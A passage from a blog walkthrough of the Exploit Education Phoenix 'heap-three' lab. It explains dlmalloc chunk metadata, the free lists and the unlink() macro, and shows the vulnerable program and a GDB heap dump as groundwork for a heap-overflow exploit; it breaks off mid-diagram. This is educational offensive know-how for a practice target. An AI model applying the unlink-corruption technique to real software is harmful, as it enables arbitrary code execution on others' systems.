{"id":696,"date":"2019-08-27T16:29:56","date_gmt":"2019-08-27T20:29:56","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=696"},"modified":"2021-05-04T09:01:21","modified_gmt":"2021-05-04T13:01:21","slug":"exploit-education-phoenix-heap-three-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-heap-three-solution\/","title":{"rendered":"Exploit Education | Phoenix | Heap Three Solution"},"content":{"rendered":"<p>This level explores why you should always explicitly initialize your allocated memory, and what can occur when pointer values go stale.<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/heap-three\/\">http:\/\/exploit.education\/phoenix\/heap-three\/<\/a><\/p>\n<h1>Introduction<\/h1>\n<p style=\"font-size: 18px; font-weight: bold;\">NOTE: The diagrams on this page may not look right on a mobile device.<br \/>\nYou should view this on a desktop\/laptop browser for best readability.<\/p>\n<p>So far, this is the hardest challenge. It requires an in-depth knowledge of how dlmalloc (Doug Lea&#8217;s Malloc) operates, specifically, version 2.7.2. It took me a lot of reading (and re-reading) of blog posts &amp; articles to get an understanding. No one source could explain it thoroughly or clearly enough. Even then, it didn&#8217;t really click until I started working it out on paper. Just to give you an idea of what I was doing:<\/p>\n<p><a href=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/08\/notebook.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-699 size-medium\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/08\/notebook-208x300.jpg\" alt=\"\" width=\"208\" height=\"300\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/08\/notebook-208x300.jpg 208w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/08\/notebook-768x1109.jpg 768w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/08\/notebook-709x1024.jpg 709w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/08\/notebook.jpg 1686w\" sizes=\"auto, (max-width: 208px) 100vw, 208px\" \/><\/a><\/p>\n<p>I debated for a while on what to do for this post. Because I struggled with understanding this material myself, I thought I might try my hand at explaining everything. But I doubt I&#8217;d be successful at that (or at the very least, get some things wrong). Then I thought I might just show the answer and only explain what&#8217;s going on with that Python script. The problem with that is if anyone is following along to try to learn, they&#8217;d be quite confused as to why the script works. So I&#8217;m shooting for something in between. I&#8217;ll explain the necessary content to understand how to solve this challenge. But I&#8217;ll also leave some links at the end to the references that helped me understand this. These references go in depth more than I will on heap management &amp; how these types of exploits work.<\/p>\n<h1>Heap Management<\/h1>\n<p>As I said, I&#8217;m only going to explain what&#8217;s necessary for building an exploit to complete this level. I&#8217;ll start by describing how<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> malloc() <\/span>allocates memory on the heap and the management information it stores there as well. After that, I&#8217;ll discuss the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> free() <\/span>function, which is what we&#8217;ll be exploiting.<\/p>\n<h2><span style=\"font-family: Courier New; font-weight: bold;\">malloc()<\/span><\/h2>\n<p>In case you&#8217;re unfamiliar with it, this is what the memory layout looks like for an ELF binary:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">Lower Addresses\r\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n \u2502 Libraries \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502   .PLT    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502   .TEXT   \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502    ...    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502   .GOT    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502   .DATA   \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502   .BSS    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502    ...    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502   HEAP    \u2502 Heap grows from low to high addresses\r\n \u2502     \u2193     \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502    ...    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502 Libraries \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502    ...    \u2502\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502     \u2191     \u2502\r\n \u2502   Stack   \u2502 Stack grows from high to low addresses\r\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n \u2502    ...    \u2502\r\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\r\nHigher Addresses<\/pre>\n<p>As memory is reserved on the heap from the program by calling<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> malloc()<\/span>, it will block off a &#8220;chunk&#8221; of memory:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">            Lower Addresses\r\n         \u250c\u2500\u2500 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n         \u2502   \u2502  Metadata \u2502\r\n         \u2502   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n         \u2502   \u2502  Metadata \u2502\r\nChunk 1 \u2500\u2524   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524&lt;== Pointer returned by malloc()\r\n         \u2502   \u2502           \u2502    points to user data section\r\n         \u2502   \u2502 User Data \u2502\r\n         \u2502   \u2502           \u2502\r\n         \u251c\u2500\u2500 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n         \u2502   \u2502  Metadata \u2502\r\n         \u2502   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n         \u2502   \u2502  Metadata \u2502\r\nChunk 2 \u2500\u2524   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n         \u2502   \u2502           \u2502\r\n         \u2502   \u2502 User Data \u2502\r\n         \u2502   \u2502           \u2502\r\n         \u2514\u2500\u2500 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\r\n            Higher Addresses<\/pre>\n<p>Each allocated chunk of memory contains 3 main sections. The first word (4 bytes) is only used if the previous chunk is free. It&#8217;s an integer that indicates the previous chunk&#8217;s size. If the previous chunk is allocated, this section can be used for user data in the previous chunk. The next word is another integer that indicates the current chunk&#8217;s size. A chunk on the heap is always 8-byte aligned, so the 3 least significant bits will always be 0. For this reason,<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> malloc() <\/span>will use those to store more metadata. This version (dlmalloc v2.7.2) will use the 2 least significant bits (I believe other implementations will use the 3rd as well). The 2nd bit is the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> IS_MMAPPED <\/span>bit and indicates if the current chunk was allocated via mmap. This is not important here so I won&#8217;t go into detail, just know that we need to make sure the bit is set to 0. The 1st bit is the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> PREV_INUSE <\/span>bit and will indicate if the previous chunk is allocated. These are defined in the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 1999; light: false; title: malloc-2.7.2.c; notranslate\" title=\"malloc-2.7.2.c\">\/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use *\/\r\n#define PREV_INUSE 0x1\r\n\r\n\/* extract inuse bit of previous chunk *\/\r\n#define prev_inuse(p)       ((p)-&gt;size &amp; PREV_INUSE)\r\n\r\n\r\n\/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() *\/\r\n#define IS_MMAPPED 0x2\r\n\r\n\/* check for mmap()'ed chunk *\/\r\n#define chunk_is_mmapped(p) ((p)-&gt;size &amp; IS_MMAPPED)<\/pre>\n<p>The last section is the user data. An allocated chunk will look like this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n         \u250c\u2500 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n         \u2502  \u2502 prev_size \u2502&lt;== Not used while allocated\r\n         \u2502  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u252c\u2500\u2524\r\n         \u2502  \u2502 Size  \u2502M\u2502P\u2502\r\nChunk 1 \u2500\u2524  \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2534\u2500\u2524\r\n         \u2502  \u2502           \u2502\r\n         \u2502  \u2502 User Data \u2502\r\n         \u2502  \u2502           \u2502\r\n         \u2514\u2500 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/pre>\n<h2><span style=\"font-family: Courier New; font-weight: bold;\">free()<\/span><\/h2>\n<p>The<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> free() <\/span>function will be the focus of the exploit so it&#8217;s important that we understand what&#8217;s going on with it.<\/p>\n<p>When<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> free() <\/span>is called (while supplying a pointer to the allocated heap memory), the heap manager adds some metadata to the &#8220;user data&#8221; section and clears the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> PREV_INUSE <\/span>bit of the next chunk. The metadata that&#8217;s added is 2 pointers, a forward (FD) and back (BK) pointer to join the freed chunk to one of many doubly-linked lists. These lists are called &#8220;bins&#8221; and, for performance reasons, there are 5 different types of them; small, large, unsorted, fast, and tcache.<\/p>\n<h3>Small\/Large\/Unsorted Bins<\/h3>\n<p>Freed chunks that are less than 512 bytes in size (1024 bytes on x64 systems) are stored in the small bins. Chunks larger than 512 bytes (1024 on x64 systems) are stored in the large bins. Before going into a large or small bin, a freed chunk is first consolidated with neighboring free chunks and put into the unsorted bin. During allocation of memory with<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> malloc()<\/span>, the unsorted bin list is traversed. If a chunk cannot be used, it&#8217;s put into its corresponding small or large bin. Otherwise, the chunk is allocated.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n               \u250c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u25c2\u2510 \u250c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n               \u2502 \u2502 prev_size \u2502 \u2502 \u2502 \u2502 prev_size \u2502\r\n               \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u252c\u2500\u2524 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u252c\u2500\u2524\r\n               \u2502 \u2502 Size  \u2502M\u2502P\u2502 \u2502 \u2502 \u2502 Size  \u2502M\u2502P\u2502\r\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2534\u2500\u2524 \u2502 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2534\u2500\u2524\r\n\u2502 Start Ptr. \u251c\u2500\u2518 \u2502  FD Ptr.  \u251c\u2500\u253c\u2500\u2518 \u2502  FD Ptr.  \u2502\r\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u25c2\u2510 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n               \u2514\u2500\u2524  BK Ptr.  \u2502 \u2514\u2500\u2500\u2500\u2524  BK Ptr.  \u2502\r\n                 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n                 \u2502    ...    \u2502     \u2502    ...    \u2502\r\n                 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\r\n<\/pre>\n<h3>Fast Bins<\/h3>\n<p>The fast and tcache bins are additional layers of optimization. Tcache bins are used for multi-threaded processes and are not relevant here. Fast bins are small, recently-released chunks that are not consolidated with their neighbors. They&#8217;re meant to be reallocated quickly and are unique in that it uses a singly-linked list instead of a double.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n               \u250c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n               \u2502 \u2502 prev_size \u2502 \u2502 \u2502 prev_size \u2502\r\n               \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u252c\u2500\u2524 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u252c\u2500\u2524\r\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502 Size  \u2502M\u2502P\u2502 \u2502 \u2502 Size  \u2502M\u2502P\u2502\r\n\u2502 Fast Bin 4 \u251c\u2500\u2518 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2534\u2500\u2524 \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2534\u2500\u2524\r\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518   \u2502  FD Ptr.  \u251c\u2500\u2518 \u2502  FD Ptr.  \u2502\r\nChunk Size: 40   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524   \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\r\n                 \u2502    ...    \u2502   \u2502    ...    \u2502\r\n                 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518   \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\r\n<\/pre>\n<p>This is where the 3 chunks go when they&#8217;re freed in the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> heap-three <\/span>program. I&#8217;ll demonstrate it later.<\/p>\n<h1>Source Code<\/h1>\n<p>Let&#8217;s start by analyzing the source code:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void winner() {\r\n    printf(&quot;Level was successfully completed at @ %ld seconds past the Epoch\\n&quot;,\r\n        time(NULL));\r\n}\r\n\r\nint main(int argc, char **argv) {\r\n    char *a, *b, *c;\r\n\r\n    a = malloc(32);\r\n    b = malloc(32);\r\n    c = malloc(32);\r\n\r\n    strcpy(a, argv&#x5B;1]);\r\n    strcpy(b, argv&#x5B;2]);\r\n    strcpy(c, argv&#x5B;3]);\r\n\r\n    free(c);\r\n    free(b);\r\n    free(a);\r\n\r\n    printf(&quot;dynamite failed?\\n&quot;);\r\n}<\/pre>\n<p>It&#8217;s pretty straightforward. The goal is to execute the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> winner() <\/span>function and, eventually, your own shellcode. 3 chunks of heap space are allocated, each 32 bytes in size. Data is written to them from user input via the first 3 arguments (and not bounds-checked). Each of those chunks is then freed in reverse order. And finally, a message is printed via<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> printf()<\/span>.<\/p>\n<h1>Analysis<\/h1>\n<p>Before we dive right into writing an exploit, let&#8217;s see what the heap looks like during execution of the program. I&#8217;m going to disable the context layout that GEF provides as I won&#8217;t need it for this. I&#8217;ll set break points after each call to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> malloc()<\/span>, after the last call to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> strcpy()<\/span>, and after each call to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> free()<\/span>. Then I&#8217;ll run the program with some simple input for each of the 3 arguments and display the contents of the heap at each breakpoint. I used the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> vmmap <\/span>command that GEF provides to see the memory space mapping. The heap is right after the program&#8217;s name.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; gef config context.layout &quot;&quot;\r\n\r\ngef&gt; disas main\r\nDump of assembler code for function main:\r\n   0x080487fc &lt;+0&gt;:     lea    ecx,&#x5B;esp+0x4]\r\n   0x08048800 &lt;+4&gt;:     and    esp,0xfffffff0\r\n   ...\r\n   0x080488ca &lt;+206&gt;:   lea    esp,&#x5B;ecx-0x4]\r\n   0x080488cd &lt;+209&gt;:   ret\r\nEnd of assembler dump.\r\n\r\ngef&gt; b *main+30\r\nBreakpoint 1 at 0x804881a\r\n\r\ngef&gt; b *main+46\r\nBreakpoint 2 at 0x804882a\r\n\r\ngef&gt; b *main+62\r\nBreakpoint 3 at 0x804883a\r\n\r\ngef&gt; b *main+134\r\nBreakpoint 4 at 0x8048882\r\n\r\ngef&gt; b *main+148\r\nBreakpoint 5 at 0x8048890\r\n\r\ngef&gt; b *main+162\r\nBreakpoint 6 at 0x804889e\r\n\r\ngef&gt; b *main+176\r\nBreakpoint 7 at 0x80488ac\r\n\r\ngef&gt; run AAAA BBBB CCCC\r\nStarting program: \/opt\/phoenix\/i486\/heap-three AAAA BBBB CCCC\r\n\r\nBreakpoint 1, 0x0804881a in main ()\r\n\r\ngef&gt; vmmap\r\nStart      End        Offset     Perm Path\r\n0x08048000 0x0804c000 0x00000000 r-x \/opt\/phoenix\/i486\/heap-three\r\n0x0804c000 0x0804d000 0x00003000 rwx \/opt\/phoenix\/i486\/heap-three\r\n0xf7e69000 0xf7f69000 0x00000000 rwx\r\n0xf7f69000 0xf7f6b000 0x00000000 r-- &#x5B;vvar]\r\n0xf7f6b000 0xf7f6d000 0x00000000 r-x &#x5B;vdso]\r\n0xf7f6d000 0xf7ffa000 0x00000000 r-x \/opt\/phoenix\/i486-linux-musl\/lib\/libc.so\r\n0xf7ffa000 0xf7ffb000 0x0008c000 r-x \/opt\/phoenix\/i486-linux-musl\/lib\/libc.so\r\n0xf7ffb000 0xf7ffc000 0x0008d000 rwx \/opt\/phoenix\/i486-linux-musl\/lib\/libc.so\r\n0xf7ffc000 0xf7ffe000 0x00000000 rwx\r\n0xfffdd000 0xffffe000 0x00000000 rwx &#x5B;stack]\r\n\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0x00000000      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x000fffd9\r\n0xf7e69030:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x00000000      0x00000000      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\n\r\nBreakpoint 2, 0x0804882a in main ()\r\n\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0x00000000      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029\r\n0xf7e69030:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x000fffb1      0x00000000      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\n\r\nBreakpoint 3, 0x0804883a in main ()\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0x00000000      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029\r\n0xf7e69030:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x00000029      0x00000000      0x00000000<\/pre>\n<p>As you can see, for each<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> malloc(32) <\/span>call that&#8217;s made, a <strong>0x29<\/strong> shows up. The program requests 32 bytes of heap space (no alignment is needed here since 32 is already 8-byte aligned), plus 8 bytes for the metadata (prev_size &amp; size fields), plus 1 for setting the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> PREV_INUSE <\/span>bit in the size field. 32 + 8 + 1 = 41 = 0x29. After the next breakpoint, the user-supplied data is written to the 3 chunks. Then we see what happens when those chunks are freed.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; c\r\nContinuing.\r\n\r\nBreakpoint 4, 0x08048882 in main ()\r\n\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0x41414141      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029\r\n0xf7e69030:     0x42424242      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x00000029      0x43434343      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\n\r\nBreakpoint 5, 0x08048890 in main ()\r\n\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0x41414141      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029\r\n0xf7e69030:     0x42424242      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x00000029      0x00000000      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\n\r\nBreakpoint 6, 0x0804889e in main ()\r\n\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0x41414141      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029\r\n0xf7e69030:     0xf7e69050      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x00000029      0x00000000      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\n\r\nBreakpoint 7, 0x080488ac in main ()\r\n\r\ngef&gt; x\/24wx 0xf7e69000\r\n0xf7e69000:     0x00000000      0x00000029      0xf7e69028      0x00000000\r\n0xf7e69010:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69020:     0x00000000      0x00000000      0x00000000      0x00000029\r\n0xf7e69030:     0xf7e69050      0x00000000      0x00000000      0x00000000\r\n0xf7e69040:     0x00000000      0x00000000      0x00000000      0x00000000\r\n0xf7e69050:     0x00000000      0x00000029      0x00000000      0x00000000\r\n\r\ngef&gt; c\r\nContinuing.\r\ndynamite failed?\r\n&#x5B;Inferior 1 (process 348) exited normally]<\/pre>\n<p>This shows that the freed chunks are in a singly-linked list. The source code shows that bins with a size of 80 bytes or less are put into a fast bin:<\/p>\n<pre class=\"brush: cpp; first-line: 2312; light: false; title: malloc-2.7.2.c; notranslate\" title=\"malloc-2.7.2.c\">\r\n\/* The maximum fastbin request size we support *\/\r\n#define MAX_FAST_SIZE     80<\/pre>\n<p>After freeing chunk C, you can see that no FD pointer was created as no other chunks exist in the list. When chunk B is freed, you can see a pointer is created (overwriting the first 4 bytes of the user data in chunk B) that points to the start of chunk C. Behind the scenes, the pointer that exists for Fast Bin 4 (chunks of size 40) changed from pointing to chunk C (0xf7e69050) to pointing to chunk B (0xf7e69028). Finally, the same thing occurs when chunk A is freed. Because chunks in the Fast Bins are not consolidated, we won&#8217;t be able exploit this. However, since we have the ability to overflow buffers on the heap, we&#8217;re able to overwrite metadata in a following chunk. That means, we can set the size to almost anything we want and allows us to prevent the heap manager from putting the chunk into a fast bin.<\/p>\n<p>In a program, free from attacker influence, I&#8217;ll show what happens when a chunk is freed. First, let&#8217;s look at the relevant source code for when a chunk is freed and needs to be consolidated with the previous chunk (if that one is also free).<\/p>\n<pre class=\"brush: cpp; first-line: 3771; light: false; title: malloc-2.7.2.c; notranslate\" title=\"malloc-2.7.2.c\">\r\n\/* consolidate backward *\/\r\nif (!prev_inuse(p)) {\r\n    prevsize = p-&gt;prev_size;\r\n    size += prevsize;\r\n    p = chunk_at_offset(p, -((long) prevsize));\r\n    unlink(p, bck, fwd);\r\n}<\/pre>\n<p>Specifically, it&#8217;s the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919\"> unlink() <\/span>macro that we&#8217;ll be exploiting:<\/p>\n<pre class=\"brush: cpp; first-line: 2131; light: false; title: malloc-2.7.2.c; notranslate\" title=\"malloc-2.7.2.c\">\r\n\/* Take a chunk off a bin list *\/\r\n#define unlink(P, BK, FD) {                                            \\\r\n    FD = P-&gt;fd;                                                        \\\r\n    BK = P-&gt;bk;                                                        \\\r\n    FD-&gt;bk = BK;                                                       \\\r\n    BK-&gt;fd = FD;                                                       \\\r\n}<\/pre>\n<p>The reason the heap manager is unlinking the two consolidated chunks from the bin is that this is now a freed chunk of a greater size &amp; will need to be put into the unsorted bin. For this visual, I&#8217;ll assume that these chunks are not put into a fast bin (so no single-linked list) and I&#8217;ll only show the last byte of the address (for simplicity&#8217;s sake). In this scenario, Chunk C is freed and Chunk B is already free. So the heap manager consolidates them and puts the, now, larger free chunk in the unsorted bin.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n            Before free(c)         After free(c)\r\n          \u250c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510  \u25c2\u2500\u2500BK\u2500\u2500\u25b8\u250c\u25b8\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\r\n          \u2502 \u2502    BIN    \u251c\u2500\u2510  0x00  \u2502 \u2502    BIN    \u251c\u2500\u2510\r\n          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502\r\n          \u2502 \u2502 fd = 0x20 \u2502 \u2502  0x04  \u2502 \u2502 fd = 0x40 \u2502 \u2502\r\n          \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502        \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\r\n          \u2502               \u2502        \u2502               \u2502\r\n          \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502        \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\r\n          \u2502 \u2502 prev_size \u2502 \u2502  0x10  \u2502 \u2502 prev_size \u2502 \u2502\r\n          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502\r\nChunk A   \u2502 \u2502  size=16  \u2502 \u2502  0x14  \u2502 \u2502  size=16  \u2502 \u2502\r\n          \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502        \u2502 \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524 \u2502\r\n          \u2502 \u2502   User    \u2502 \u2502  0x18  \u2502 \u2502   User    \u2502 \u2502\r\n          \u2502 \u2502   Data    \u2502 \u2502  0x1c  \u2502 \u2502   Data    \u2502 \u2502\r\n          \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502        \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 